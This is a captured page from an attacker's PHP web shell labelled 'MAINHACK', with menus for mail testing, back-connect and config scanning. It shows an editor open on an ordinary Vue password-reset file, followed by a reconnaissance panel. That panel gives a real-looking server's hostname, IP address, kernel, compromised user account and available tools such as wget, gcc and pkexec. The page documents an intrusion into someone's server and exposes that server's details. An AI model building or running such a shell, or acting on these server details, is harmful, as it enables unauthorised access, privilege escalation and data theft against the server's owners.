[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: reset.vue
<template> <div class="container-fluid"> <div class="row no-gutter"> <!-- The image half --> <div class="col-md-6 d-none d-md-flex bg-image"></div> <!-- The content half --> <div class="col-md-6 bg-light"> <div class="auth-wrapper d-flex align-items-center py-5"> <!-- Demo content--> <div class="container"> <div class="row"> <div class="col-lg-10 col-xl-7 mx-auto"> <img v-if="appInfo" :src="appInfo.blackLogo" :alt="appInfo.companyName" class="lg-logo img-fluid" /> <alert-success :form="form" :message="status" /> <form @submit.prevent="reset" @keydown="form.onKeydown($event)"> <div class="form-group mb-3"> <input v-model="form.email" :class="{ 'is-invalid': form.errors.has('email') }" class="form-control rounded-pill border-0 shadow-sm px-4 text-primary" type="email" name="email" placeholder="Enter your email address" readonly /> <has-error :form="form" field="email" /> </div> <div class="form-group mb-3"> <input v-model="form.password" :class="{ 'is-invalid': form.errors.has('password') }" class="form-control rounded-pill border-0 shadow-sm px-4 text-primary" type="password" name="password" placeholder="Enter your password" /> <has-error :form="form" field="password" /> </div> <div class="form-group mb-3"> <input v-model="form.password_confirmation" :class="{ 'is-invalid': form.errors.has('password_confirmation'), }" class="form-control rounded-pill border-0 shadow-sm px-4 text-primary" type="password" name="password_confirmation" placeholder="Enter confirm password" /> </div> <!-- Submit Button --> <v-button :loading="form.busy" class="btn btn-primary btn-block text-uppercase mb-2 rounded-pill shadow-sm" > <i class="fas fa-sign-in-alt" /> <strong>{{ $t("reset_password") }}</strong> </v-button> <div class="text-center d-flex justify-content-between mt-4"> <router-link :to="{ name: 'login' }" class="ml-auto my-auto" > {{ $t("error_not_found.back_to_login") }} </router-link> </div> </form> </div> <div class="w-100 text-center mt-4"> <p> {{ $t("Acculance v4.0.0. Developed by") }} <a href="https://codeshaper.net/" class="font-italic text-muted" target="__blank" > <u>Codeshaper</u> </a> </p> </div> </div> </div> <!-- End --> </div> </div> <!-- End --> </div> </div> </template> <script> import Form from "vform"; import { mapGetters } from "vuex"; export default { layout: "basic", middleware: "guest", metaInfo() { return { title: this.$t("reset_password") }; }, data: () => ({ status: "", form: new Form({ token: "", email: "", password: "", password_confirmation: "", }), }), // Map Getters computed: { ...mapGetters("operations", ["appInfo"]), }, created() { this.form.email = this.$route.query.email; this.form.token = this.$route.params.token; }, methods: { async reset() { const { data } = await this.form.post("/api/password/reset"); this.status = data.status; this.form.reset(); }, }, }; </script>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.71 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002